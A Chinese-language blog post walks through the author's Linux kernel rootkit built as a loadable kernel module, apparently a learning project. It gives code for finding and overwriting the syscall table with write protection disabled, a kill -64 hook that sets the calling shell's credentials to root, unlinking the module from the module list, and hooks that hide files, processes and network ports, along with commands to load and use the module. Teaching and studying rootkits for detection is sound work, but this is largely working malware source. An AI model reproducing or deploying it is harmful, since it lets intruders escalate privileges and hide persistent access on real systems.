一个基于 LKM 的 Linux 内核级 rootkit 的实现
博客已迁移至:https://gls.show/
GitHub链接
演示Slides
overview
rootkit是一种恶意软件,攻击者可以在获得 root 或管理员权限后安装它,从而隐藏入侵并保持root权限访问。rootkit可以是用户级的,也可以是内核级的。关于rootkit的详细介绍可以参考https://en.wikipedia.org/wiki/rootkit
有许多技术可以实现rootkit,本项目使用的是通过编写LKM(Linux kernel module)并hook系统调用表的方式。这种方式具有诸多优点,比如rootkit作为内核模块可以动态的加载和卸载,大多数rootkit也都是通过LKM的方式实现的
LKM
一个简单的LKM示例
// header file// module infostatic int __init example_init(void)
{printk(KERN_INFO "Hello, World!\n");return 0;
}static void __exit example_exit(void)
{printk(KERN_INFO "Goodbye, World!\n");
}module_init(example_init);
module_exit(example_exit);
在完成了对应Makefile的编写之后,使用make
命令可以编译出ko文件(kernel object),使用insmod rootkit.ko
命令可以安装内核模块,使用rmmod rootkit
可以卸载rootkit模块,使用dmesg
命令可以打印程序中printk的信息
hook系统调用
用户进程通过系统调用使用内核服务。系统调用会进入内核,让内核执行服务然后返回,关于系统调用的更多信息,可以使用man -k syscall
获取。如下图所示,hook可以劫持正常的系统调用,让内核执行我们自行设计的函数,从而实现我们自己想要的功能
比如,当用户使用ls命令列出该目录下所有文件的时候,本质上是使用了getdents64
系统调用,如果我们将getdents64
的地址替换为我们自己构造的函数hook_getdents64
,即可劫持系统调用流程。因此,只要我们分析清楚了某一个shell命令底层所执行的系统调用,并成功对其进行hook,那么就可以成功实现rootkit的种种目的
strace
命令可以对系统调用进行跟踪,这可以帮助我们分析命令的函数调用链
$ strace -c ls
% time seconds usecs/call calls errors syscall
------ ----------- ----------- --------- --------- ----------------0.00 0.000000 0 8 read0.00 0.000000 0 1 write0.00 0.000000 0 13 close0.00 0.000000 0 12 fstat0.00 0.000000 0 32 mmap0.00 0.000000 0 9 mprotect0.00 0.000000 0 2 munmap0.00 0.000000 0 3 brk0.00 0.000000 0 2 rt_sigaction0.00 0.000000 0 1 rt_sigprocmask0.00 0.000000 0 2 ioctl0.00 0.000000 0 8 pread640.00 0.000000 0 2 1 access0.00 0.000000 0 1 execve0.00 0.000000 0 1 readlink0.00 0.000000 0 2 2 statfs0.00 0.000000 0 2 1 arch_prctl0.00 0.000000 0 2 getdents640.00 0.000000 0 1 set_tid_address0.00 0.000000 0 11 openat0.00 0.000000 0 1 set_robust_list0.00 0.000000 0 1 prlimit64
------ ----------- ----------- --------- --------- ----------------
100.00 0.000000 117 4 total
回到hook系统调用这个事情上来,内核中有一张系统调用表,存放了所有的系统调用的地址,我们需要找到这张表的地址,才能对系统调用“偷梁换柱”——将原本的syscall的地址替换为我们自己实现的syscall地址。也可以将系统调用表看做是一个数组,系统调用号为其索引,不同的系统调用号对应着不同的系统调用。需要小心的是,相同的系统调用函数,对于不同的架构,调用号是不同的。这个页面列出了 Linux 支持的架构的所有系统调用
查找系统调用表的地址有很多方法,比如:
- 使用kallsyms
- 使用ftrace
- 暴力枚举
注意,由于rootkit与系统内核版本是强相关的,所以对于不同的内核,查找系统调用表的方式也不同,比如有的版本的内核无法使用kallsyms得到系统调用表地址,那么就可以考虑使用ftrace
使用kallsyms:
//函数声明,real_sys_openat是真实的sys_openat函数
static asmlinkage long (*real_sys_openat)(const struct pt_regs *);//函数声明,hook_sys_openat我们自己实现的sys_openat函数
asmlinkage long hook_sys_openat(const struct pt_regs *);//获取系统调用表地址
real_sys_call_table = (void *)kallsyms_lookup_name("sys_call_table");//保存原来的kill函数的地址,最后需要恢复原状
real_sys_openat = (void *)real_sys_call_table[__NR_openat];// 关闭写保护
disable_wp();//将真实的sys_openat函数地址映射到我们自己写的openat函数地址处,偷梁换柱
real_sys_call_table[__NR_openat] = (void *)my_sys_openat;// 恢复现场,打开写保护
enable_wp();
使用ftrace:
//在头文件中写上hook数组
struct ftrace_hook hooks[] = {HOOK("__x64_sys_mkdir", hook_mkdir, &orig_mkdir),HOOK("__x64_sys_getdents", hook_getdents, &orig_getdents)};//在模块初始化时执行hook安装
fh_install_hooks(hooks, ARRAY_SIZE(hooks));//在模块卸载化时执行hook卸载
fh_remove_hooks(hooks, ARRAY_SIZE(hooks));
在某些内核版本中,/proc/kallsyms
文件存储了系统调用吧和系统调用的地址信息,我们可以使用命令行获取:
cat /proc/kallsyms | grep xxx
同样的,对于不同的内核,系统调用函数的声明不同,这是一个对比:
// 旧
int getdents(unsigned int fd, struct linux_dirent *dirp,unsigned int count);// 新
asmlinkage long sys_getdents(unsigned int fd,struct linux_dirent __user *dirent,unsigned int count);
asmlinkage
是一个宏,告诉编译器在 CPU 堆栈上查找函数参数,而不是寄存器。众所周知,用户态程序调用syscall的时候,会下陷到内核态,此时会保存 CPU 堆栈中的所有寄存器(eax、ebx、ecx 等)。因此,从用户空间传递到内核空间的有关参数的信息都被保存在堆栈中,这也即是使用asmlinkage
的原因
对于新的系统调用,存储在寄存器中的参数会先被复制到pt_regs
结构体中,因此当我们编写hook函数的时候,需要先从这个结构体中获取对应的参数值
//函数声明,hook_sys_openat我们自己实现的sys_openat函数
asmlinkage long hook_sys_openat(const struct pt_regs *);
此外由于内核空间和用户空间是隔离的,地址的映射并不互通,因此需要使用copy_to_user
和copy_from_user
进行数据的传输
提权
-
cred
是一个记录进程credentials信息的结构体,具体定义在cred.c
头文件中 -
prepare_creds()
返回当前进程的cred
结构 -
commit_creds()
将这个cred应用于当前进程,因此我们只需要对cred结构体进行修改即可实现提权
void get_root(void)
{struct cred *newcreds;newcreds = prepare_creds();if (newcreds == NULL)return;newcreds->uid.val = newcreds->gid.val = 0;newcreds->euid.val = newcreds->egid.val = 0;newcreds->suid.val = newcreds->sgid.val = 0;newcreds->fsuid.val = newcreds->fsgid.val = 0;commit_creds(newcreds);
}
hook kill实现提权,当我们在shell中输入kill -64 <num>的时候会将shell提权到root,可以使用id命令验证这一点
asmlinkage long hook_kill(const struct pt_regs *regs)
{pid_t pid = regs->di;int sig = regs->si;if (sig == 64){printk(KERN_INFO " get_root ");get_root();}return orig_kill(regs);
}
模块隐藏
lsmod命令可以列出已安装的内核模块,rmmod可以删除。模块隐藏也即是让lsmod命令无法输出我们的模块
内核使用module结构体存储模块信息,可以看到module封装了list双向链表,下面的源码可以在module.h
中找到
struct module {enum module_state state;/* Member of list of modules */struct list_head list;// ... and so on
}
为了隐藏模块,我们只需把对应rootkit模块的list从全局链表中删除即可。内核已经替我们实现了list_del和list_add函数,它们被封装在list.h头文件中,我们调用即可。在下面的代码中,THIS_MODULE宏指向当前模块的module struct
值得注意的是,为了恢复节点,我们需要临时保存节点的信息
static void hide_myself(void) { list_del(&THIS_MODULE->list); }static void show_myself(void) { list_add(&THIS_MODULE->list, module_prev); }static inline void module_info(void) { module_prev = THIS_MODULE->list.prev; }
文件隐藏
ls命令可以打印出文件,为了深入研究ls做了什么,可以使用strace命令进行追踪。strace具有许多有趣的选项,比如-c
可以打印出统计表格, -p
可以追踪某一进程,等等
一通分析后可以发现ls命令调用了getdents64 syscall
(实际上有些较新的内核版本仍然会调用getdents
函数而不是较新的getdents64
,这个后面还会提到),该函数可以得到目录的entry,并返回读取的字节数。我们可以通过对该函数进行hook从而达到隐藏文件的目的
下面是hook_getdents64函数的设计,省略了一些报错处理和别的细节
// 声明原本的getdents64函数
static asmlinkage long (*orig_getdents64)(const struct pt_regs *);
// 声明我们设计的hook_getdents64函数
asmlinkage long hook_getdents64(const struct pt_regs *);
// ssize_t getdents64(int fd, void *dirp, size_t count);
asmlinkage int hook_getdents64(const struct pt_regs *regs)
{//获取寄存器中的内容struct linux_dirent64 __user *dirent = (struct linux_dirent64 *)regs->si;//遍历,对希望隐藏的文件进行处理while (tlen > 0){len = current_dir->d_reclen;tlen = tlen - len;if (check_file(current_dir->d_name))//覆盖操作{ret = ret - len;memmove(current_dir, (char *)current_dir + current_dir->d_reclen, tlen);}elsecurrent_dir = (struct linux_dirent64 *)((char *)current_dir + current_dir->d_reclen);}//返回正常调用的结果return orig_getdents64(regs);
}
为了设计出上面的代码我们需要详细理解linux_dirent结构体和linux_dirent64结构体,它们分别对应getdents函数和getdents64函数,后者是为了处理更大的文件系统和偏移而设计的,细节如下:
struct linux_dirent {unsigned long d_ino; /* Inode number */unsigned long d_off; /* Offset to next linux_dirent */unsigned short d_reclen; /* Length of this linux_dirent */char d_name[]; /* Filename (null-terminated) *//* length is actually (d_reclen - 2 -offsetof(struct linux_dirent, d_name)) *//*char pad; // Zero padding bytechar d_type; // File type (only since Linux// 2.6.4); offset is (d_reclen - 1)*/}struct linux_dirent64 {ino64_t d_ino; /* 64-bit inode number */off64_t d_off; /* 64-bit offset to next structure */unsigned short d_reclen; /* Size of this dirent */unsigned char d_type; /* File type */char d_name[]; /* Filename (null-terminated) */};
对于getdents函数的hook,与getdents64函数的hook有一些不同,这里暂且略去
进程隐藏
linux内核维护了task_struct和pid两个链表,分布记录了进程的task_struct结构和pid结构
想要查看当前是否有rootkit进程有两个常规操作:
- 遍历task_struct链表
- 遍历/proc/pid中所有进程
要想隐藏进程,就要考虑将rootkit相关的task struct和pid都摘除列表,即要从下面两点出发:
-
脱离 task_struct 链表
-
脱离 pid 链表
那么首先看下linux中使用的相关的结构
struct pid
{refcount_t count;unsigned int level;// lists of tasks that use this pid struct hlist_head tasks[PIDTYPE_MAX];// wait queue for pidfd notifications wait_queue_head_t wait_pidfd;struct rcu_head rcu;struct upid numbers[1];
};struct task_struct {......struct pid *thread_pid;struct hlist_node pid_links[PIDTYPE_MAX];//找task struct中的对应的pid hlist_nodestruct list_head thread_group;struct list_head thread_node;......#endif // #ifdef CONFIG_TASKS_RCU struct sched_info sched_info;struct list_head tasks; list_head 通过list_head将当前进程的task_struct串联进内核的进程列表中.....}struct list_head {
struct list_head *next, *prev;
};struct hlist_node {struct hlist_node *next;struct hlist_node **pprev;//需要注意的是pprev是指针的指针,它指向的是前一个节点的next指针;其中首元素的pprev指向链表头的fist字段,末元素的next为NULL.
};
相关的函数
struct task_struct *pid_task(struct pid *pid, enum pid_type type) //用于根据pid和其类型找到对应的task_struct
find_vpid()//用于根据nr也就是namespace下的局部pid找到对应的struct pid结构体
//使用的链表操作相关的函数
list_add()//增加结点
list_del()//删除结点
hlist_add_head_rcu()//增加结点
list_add_tail_rcu() //增加结点
list_del_rcu()//删除结点
hlist_del_rcu()//删除结点
INIT_HLIST_NODE()//初始化链表结点
INIT_LIST_HEAD()//初始化链表头
list_for_each_entry_safe()//相当于遍历整个双向循环链表,遍历时会存下下一个节点的数据结构,方便对当前项进行删除
//内存操作
kmalloc()//申请内存存储hide_node结构
kfree()//释放hide_node结构占用的内存
自定义的数据结构
//进程隐藏的存储链表
static struct list_head hide_list_header=LIST_HEAD_INIT(hide_list_header);
//进程隐藏的存储结点
struct hide_node{pid_t pid_victim_t;struct task_struct* task_use_t;struct list_head hide_list_header_t;
};
使用的函数
int hide_pid_fn(pid_t pid_victim);//隐藏进程
int recover_pid_fn(pid_t pid_victim);//恢复隐藏的进程
int recover_pid_all();//恢复所有进程
大致的流程:
hide_pid_fn(pid_t pid_victim);
-
根据pid用find_vpid()找到对应的pid结构体
-
成功找到pid结构体后利用pid_task()找到对应的task struct
-
利用链表操作函数hlist_del_rcu对task struct 结点进行脱链,并用INIT_HLIST_NODE设置task struct 的前后指针
-
然后根据task struct 找到对应的pid 的结点,利用hlist_del_rcu进行脱链,INIT_HLIST_NODE设置其指针为空,并将pprev指向自身。
此时进程已经成功摘除链表被隐藏,但是需要记录对应结构,方便之后恢复
- 用kmalloc申请一个hide_node类型结点的空间,设置对应的pid号和task struct指针,并通过list_head将其增加到hide_list_header 链表上进行记录
到此完成隐藏进程功能,并未后面恢复做准备
recover_pid_fn(pid_t pid_victim);
- 通过list_for_each_entry_safe来遍历hide_list_header链表,直到找到和pid对应的hide_node的进程。然后利用hlist_add_head_rcu将pid链入对应的pid链表,利用list_add_tail_rcu将task链入对应的task struct链表
recover_pid_all(void);
- 这里同样通过list_for_each_entry_safe来遍历hide_list_header链表
- 针对其中的每一个隐藏的进程,利用hlist_add_head_rcu将pid链入对应的pid链表,利用list_add_tail_rcu将task链入对应的task struct链表
端口隐藏
端口隐藏即隐藏已经被使用的端口,在linux中查看已经使用的端口有两个命令,一个是netstat,一个是ss,两个命令调用的系统调用不同,因此实际隐藏的过程也不同
- netstat在读取端口信息时会读取以下四个文件(对应的网络协议为tcp、udp、tcp6、udp6):/proc/net/tcp、/proc/net/udp、/proc/net/tcp6/、/proc/net/udp6
- 这几个文件都是序列文件,即seq_file,seq_file定义的结构体如下
struct seq_file {char *buf; //缓冲区size_t size;size_t from;size_t count; //缓冲区长度size_t pad_until;loff_t index;loff_t read_pos;u64 version;struct mutex lock;const struct seq_operations *op; // importantint poll_event;const struct file *file;void *private;
};
seq_operations定义的结构体为
struct seq_operations {void * (*start) (struct seq_file *m, loff_t *pos);void (*stop) (struct seq_file *m, void *v);void * (*next) (struct seq_file *m, void *v, loff_t *pos);int (*show) (struct seq_file *m, void *v);
};
seq_operations的show函数即为netstat要输出的信息,我们只需要将该函数的 hook掉,在hook之前需要先保存show函数的地址,对应的函数为set_seq_opeartions
void set_seq_operations(const char* open_path,struct seq_operations** operations); // open_path是打开的序列文件,operations是要保存的show函数的真实地址
我们在全局变量中声明了一个链表,变量名为hidden_port_list_head,它的作用为存储需要被隐藏的端口的信息,当想隐藏端口时,调用hide_connect函数,它的定义为
void hide_connect(int type, int port)
其中type为网络类型(tcp/udp/tcp6/udp6),port为端口号,该函数会将需要隐藏的端口添加到链表上。
node = kmalloc(sizeof(struct port_node), GFP_KERNEL);node->port = port;node->type = type;// 向链表中添加节点list_add_tail(&node->list, &hidden_port_list_head);
当不想隐藏该端口时,使用hide_unconnect函数将该节点从链表中删除
void unhide_connect(int type, int port){list_for_each_entry_safe(entry, next_entry, &hidden_port_list_head, list){if (entry->port == port && entry->type == type){pr_info("Unhiding: %d", port);list_del(&entry->list); // 将要隐藏的节点从链表中删除kfree(entry);return;}}
}
隐藏端口的链表会在我们定义的hook函数中用到
首先要让定义的hook函数的参数与需要被hook的函数参数相同
int fake_seq_show(struct seq_file *seq, void *v)
hook函数首先判断网络类型,之后调用原show函数,如下
if (seq->op == tcp_operations){type = TCP_CONNECT;//调用原有的tcp show函数ret = tcp_seq_fun(seq,v);}else if (seq->op == udp_operations){type = UDP_CONNECT;ret = udp_seq_fun(seq,v);}else if (seq->op == tcp6_operations){type = TCP6_CONNECT;ret = tcp6_seq_fun(seq,v);}else if (seq->op == udp6_operations){type = UDP6_CONNECT;ret = udp6_seq_fun(seq,v);}
show函数会将需要展示的端口信息放在seq->buf中,而seq->count记录了buf的缓冲区长度,代码的逻辑为判断新增的缓冲区的字符串是否和想要的隐藏的端口信息相同,如下
// 对hidden_port_list_head遍历list_for_each_entry(node, &hidden_port_list_head, list){if (type == node->type){// seq->buf为缓冲区,snprintf先按照缓冲区格式声明一个port_str_bufsnprintf(port_str_buf, PORT_STR_LEN, ":%04X", node->port);// 之后将缓冲区的新增字符串和port_str_buf进行对比判断是否要过滤端口if (strnstr(seq->buf + last_len, port_str_buf, this_len)){pr_info("Hiding port: %d", node->port);seq->count = last_len;break;}}}
功能测试
模块编译、安装、卸载:
sudo make sudo insmod rootkit.kosudo rmmod rootkit
提权:
idkill -64 1id
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pHc5LlWF-1677481929582)(https://raw.githubusercontent.com/LaPhilosophie/hello-rootkit/main/image/%E6%8F%90%E6%9D%83.png)]
模块隐藏与恢复
echo hidemodule >/dev/null
echo showmodule >/dev/null
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-V9gONVmG-1677481746533)(https://raw.githubusercontent.com/LaPhilosophie/hello-rootkit/main/image/%E6%A8%A1%E5%9D%97%E9%9A%90%E8%97%8F%26%E6%81%A2%E5%A4%8D.png)]
进程隐藏与恢复
echo hideprocess [PID] >/dev/null
echo showprocess [PID] >/dev/null
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sy4m1fCs-1677481746533)(https://raw.githubusercontent.com/LaPhilosophie/hello-rootkit/main/image/%E8%BF%9B%E7%A8%8B%E9%9A%90%E8%97%8F%26%E6%81%A2%E5%A4%8D.png)]
文件隐藏与恢复
echo hidefile [filename] >/dev/null
echo showfile [filename] >/dev/null
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GCGlA3Pe-1677481746534)(https://github.com/LaPhilosophie/hello-rootkit/blob/main/image/%E6%96%87%E4%BB%B6%E9%9A%90%E8%97%8F&%E6%81%A2%E5%A4%8D.png?raw=true)]
端口隐藏与恢复
echo hideport [port] >/dev/null
echo showport [port] >/dev/null
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2f1Dn8VW-1677481746534)(https://raw.githubusercontent.com/LaPhilosophie/hello-rootkit/main/image/%E7%AB%AF%E5%8F%A3%E9%9A%90%E8%97%8F%26%E6%81%A2%E5%A4%8D.png)]
参考资料
- (nearly) Complete Linux Loadable Kernel Modules
- awesome-linux-rootkits
- 简易 Linux rootkit 编写入门指北
- Reptile
- Sample rootkit for Linux
- 【rootkit 系列研究】rootkit 检测技术发展现状
- https://github.com/plusls/rootkit
- https://github.com/TangentHuang/ucas-rootkit
- https://xcellerator.github.io/posts/linux_rootkits_07/
- https://github.com/torvalds/linux/tree/325d0eab4f31c6240b59d5b2b8042c88f59405b5/fs
- https://docs-conquer-the-universe.readthedocs.io/zh_CN/latest/linux_rootkit/fundamentals.html
- https://github.com/vkobel/linux-syscall-hook-rootkit
- https://linux.die.net/man/2/getdents64
相关文章:

一个基于 LKM 的 Linux 内核级 rootkit 的实现
博客已迁移至:https://gls.show/ GitHub链接 演示Slides overview rootkit是一种恶意软件,攻击者可以在获得 root 或管理员权限后安装它,从而隐藏入侵并保持root权限访问。rootkit可以是用户级的,也可以是内核级的。关于rootk…...

CAN工具 - ValueCAN - 基础介绍(续)
VSpy3(Vehicle Spy 3的简写),作为一个常用的车载总线仿真工具,在车载网络领域也是有非常大的市场,前面也简单介绍过一些简单的功能,今天就再次介绍一些。什么是VSpy3?VSpy3是美国英特佩斯公司下…...

一个Laravel+vue免费开源的基于RABC控制的博客系统
项目介绍 CCENOTE 是一个使用 Vue3 Laravel8 开发的前后端分离的基于RABC权限控制管理的内容管理系统,由于作者本人比较喜欢写作的原因,因此开发了这个项目,后端使用的PHP的Laravel框架,并且整理了数据层与业务层,相…...

从 B 站出发,用 Chrome devTools performance 分析页面如何渲染
页面是如何渲染的?通常会得到“解析 HTML、css 合成 Render Tree,就可以渲染了”的回答。但是具体都做了些什么,却很少有人细说,我们今天就从 Chrome 的性能工具开始,具体看看一个页面是如何进行渲染的,以及…...

Java异常Throwable的分类
1. Exception:程序本身可以捕获并且可以处理的异常 编译时异常:编译期就会检查的异常,若调用的方法中throw了此类异常,则必须进行显式处理处理(用try…catch捕获或者throws向上抛出),否则无法通…...
【mybatis的#和$使用和区别】
MyBatis是一种基于Java的持久层框架,用于将数据库操作和Java对象之间的映射进行处理。在MyBatis中,#和 $ 符号是用于SQL语句中的占位符。 在SQL语句中,#和 $ 符号都表示占位符,但它们的使用方式略有不同: # 符号 #符…...

感知趋势,洞察发展:2023(第十届)趋势与预测大会成功举办
2023年2月23日,运联年会:2023(第十届)趋势与预测大会在深圳机场凯悦酒店成功闭幕。自2014年开始,“运联年会:趋势与预测”已经连续举办九届。这场大会,既是一次行业性的“年终总结”,…...

Spring-Aop核心技术
前言spring一直以来都是我们Java开发中最核心的一个技术,其中又以ioc和aop为主要技术,本篇文章主要讲一下aop的核心技术,也就是ProxyFactory技术的使用,而基本的jdk动态代理和cglib代理技术并不涉及,如有需要ÿ…...
webpack常用优化原理剖析
webpack常用优化原理剖析 按需加载代码配置原理CDN加速-externals代码配置GZIP压缩代码配置原理Tree Shaking代码配置原理按需加载 把不同路由对应的组件分割成不同的代码块,然后当路由被访问的时候才加载对应组件. 代码配置 //定义了一个异步函数,由于函数不调用不执行,所…...

【现在努力还不晚】--MySQL数据库的数据模型
目录 1、关系型数据库(RDBMS) 特点 2、数据模型 在学习MySQL之前要了解一下数据库的数据模型,我们就知道在MySQL当中,数据是如何存储的,我们了解一下概念! 1、关系型数据库(RDBMS࿰…...

二手商品交易网站
技术:Java、JSP等摘要:随着科学技术和信息通讯的飞速发展,Internet极大地丰富和改变着我们生活的各个行业。随着Internet的普及应用,人们可以跨越时间和空间的限制,足不出户便能通过网络完成信息交流,而完成…...

第三阶段04-同步请求和异步请求,get/post,Josn,pojo,Session/Cookie,过滤器Filter
文章目录同步请求和异步请求客户端如何发出异步请求自定义模板代码Get和Post请求异步版本的注册和登录商品管理系统(异步版本)商品列表步骤:前后端分离为什么需要前后端分离?为什么以后不再使用同步请求?JSONPOJO会话对象Session如何记住登录状态后端的MVC会话管理Cookie通过…...
Spark学习:spark相似算子解析
spark算子 一、Map、Flatmap和MapPartition二、repartition和coalesce三、reduceByKey和groupByKey四、collect、take和first一、Map、Flatmap和MapPartition 算子作用map接收一个高阶函数f,对每个算子进行f操作flatmap接收一个高阶函数f,对每个元素进行f操作,形成一个大的集合…...
MySQL操作数据表-----------创建数据表(一)
在MySQL中创建数据库完成后,需要使用USE 数据库名的形式指定进行操作的数据库,然后再去执行创建数据表的SQL语句,也可以直接使用数据库名.数据表名的形式创建数据表。 1.创建空数据表 语法格式:CREATE TABLE [IF EXISTS] 表名 &…...

Java “框架 = 注解 + 反射 + 设计模式” 之 注解详解
Java ”框架 注解 反射 设计模式“ 之 注解详解 每博一文案 刹那间我真想令时光停住,好让我回顾自己,回顾失去的年华,缅怀哪个穿一身短小的连衣裙 和瘦窄的短衫的小女孩。让我追悔少年时代,我心灵的愚钝无知,它轻易…...

特斯拉4D雷达方案首次曝光!高阶智驾市场比拼安全冗余
随着L2级智能驾驶进入普及阶段,L3/L4级赛道正在成为各家车企的下一个竞争焦点。背后的最大难题,就是如何在成本可控的前提下,保证足够的安全。 高工智能汽车研究院监测数据显示,2022年度中国市场(不含进出口ÿ…...

Echarts 每个柱子一种渐变色的象形柱状图
第023个点击查看专栏目录本示例是解决每个柱状图的每一个柱子都呈现一种渐变色,每个柱子的颜色都不同。这里同时采用了象形的柱状图效果。 文章目录示例效果示例源代码(共125行)相关资料参考专栏介绍示例效果 示例源代码(共125行&…...

叠氮试剂79598-53-1,6-Azidohexanoic Acid,6-叠氮基己酸,末端羧酸可与伯胺基反应
●中文名:6-叠氮基己酸●英文名:6-Azidohexanoic Acid,6-Azidohexanoic COOH●外观以及性质:西安凯新生物科技有限公司供应的6-Azidohexanoic Acid浅黄色或者无色油状,叠氮化物可使用铜催化的Click化学与末端炔烃共轭&…...

Nginx网站服务——编译安装、基于授权和客户端访问控制
文章目录一、Nginx概述1.1、Nginx的特点1.2、Nginx编译安装1.3、Nginx运行控制1.4、Nginx和Apache的区别二、编译安装Nginx服务的操作步骤2.1、关闭防火墙,将安装nginx所需软件包传到/opt目录下2.2、安装依赖包2.3、创建运行用户、组(Nginx 服务程序默认…...

Spring Boot 版本升级2.2.11.RELEASE至2.7.4
2.2.11.RELEASE > 2.7.4项目更新spring-boot-starter-parent 主依赖,导致项目跑不起了日志也没有输出有用信息,自己查看源码调试启动入口打断点,一步步进入方法定位项目停止代码我的项目执行到SpringApplication.class 的152行代码会停止项…...

理解 MCP 工作流:使用 Ollama 和 LangChain 构建本地 MCP 客户端
🌟 什么是 MCP? 模型控制协议 (MCP) 是一种创新的协议,旨在无缝连接 AI 模型与应用程序。 MCP 是一个开源协议,它标准化了我们的 LLM 应用程序连接所需工具和数据源并与之协作的方式。 可以把它想象成你的 AI 模型 和想要使用它…...

UE5 学习系列(三)创建和移动物体
这篇博客是该系列的第三篇,是在之前两篇博客的基础上展开,主要介绍如何在操作界面中创建和拖动物体,这篇博客跟随的视频链接如下: B 站视频:s03-创建和移动物体 如果你不打算开之前的博客并且对UE5 比较熟的话按照以…...

如何在看板中有效管理突发紧急任务
在看板中有效管理突发紧急任务需要:设立专门的紧急任务通道、重新调整任务优先级、保持适度的WIP(Work-in-Progress)弹性、优化任务处理流程、提高团队应对突发情况的敏捷性。其中,设立专门的紧急任务通道尤为重要,这能…...

论文浅尝 | 基于判别指令微调生成式大语言模型的知识图谱补全方法(ISWC2024)
笔记整理:刘治强,浙江大学硕士生,研究方向为知识图谱表示学习,大语言模型 论文链接:http://arxiv.org/abs/2407.16127 发表会议:ISWC 2024 1. 动机 传统的知识图谱补全(KGC)模型通过…...

项目部署到Linux上时遇到的错误(Redis,MySQL,无法正确连接,地址占用问题)
Redis无法正确连接 在运行jar包时出现了这样的错误 查询得知问题核心在于Redis连接失败,具体原因是客户端发送了密码认证请求,但Redis服务器未设置密码 1.为Redis设置密码(匹配客户端配置) 步骤: 1).修…...
Redis的发布订阅模式与专业的 MQ(如 Kafka, RabbitMQ)相比,优缺点是什么?适用于哪些场景?
Redis 的发布订阅(Pub/Sub)模式与专业的 MQ(Message Queue)如 Kafka、RabbitMQ 进行比较,核心的权衡点在于:简单与速度 vs. 可靠与功能。 下面我们详细展开对比。 Redis Pub/Sub 的核心特点 它是一个发后…...
C++.OpenGL (14/64)多光源(Multiple Lights)
多光源(Multiple Lights) 多光源渲染技术概览 #mermaid-svg-3L5e5gGn76TNh7Lq {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-3L5e5gGn76TNh7Lq .error-icon{fill:#552222;}#mermaid-svg-3L5e5gGn76TNh7Lq .erro…...

Selenium常用函数介绍
目录 一,元素定位 1.1 cssSeector 1.2 xpath 二,操作测试对象 三,窗口 3.1 案例 3.2 窗口切换 3.3 窗口大小 3.4 屏幕截图 3.5 关闭窗口 四,弹窗 五,等待 六,导航 七,文件上传 …...
MySQL 8.0 事务全面讲解
以下是一个结合两次回答的 MySQL 8.0 事务全面讲解,涵盖了事务的核心概念、操作示例、失败回滚、隔离级别、事务性 DDL 和 XA 事务等内容,并修正了查看隔离级别的命令。 MySQL 8.0 事务全面讲解 一、事务的核心概念(ACID) 事务是…...
C语言中提供的第三方库之哈希表实现
一. 简介 前面一篇文章简单学习了C语言中第三方库(uthash库)提供对哈希表的操作,文章如下: C语言中提供的第三方库uthash常用接口-CSDN博客 本文简单学习一下第三方库 uthash库对哈希表的操作。 二. uthash库哈希表操作示例 u…...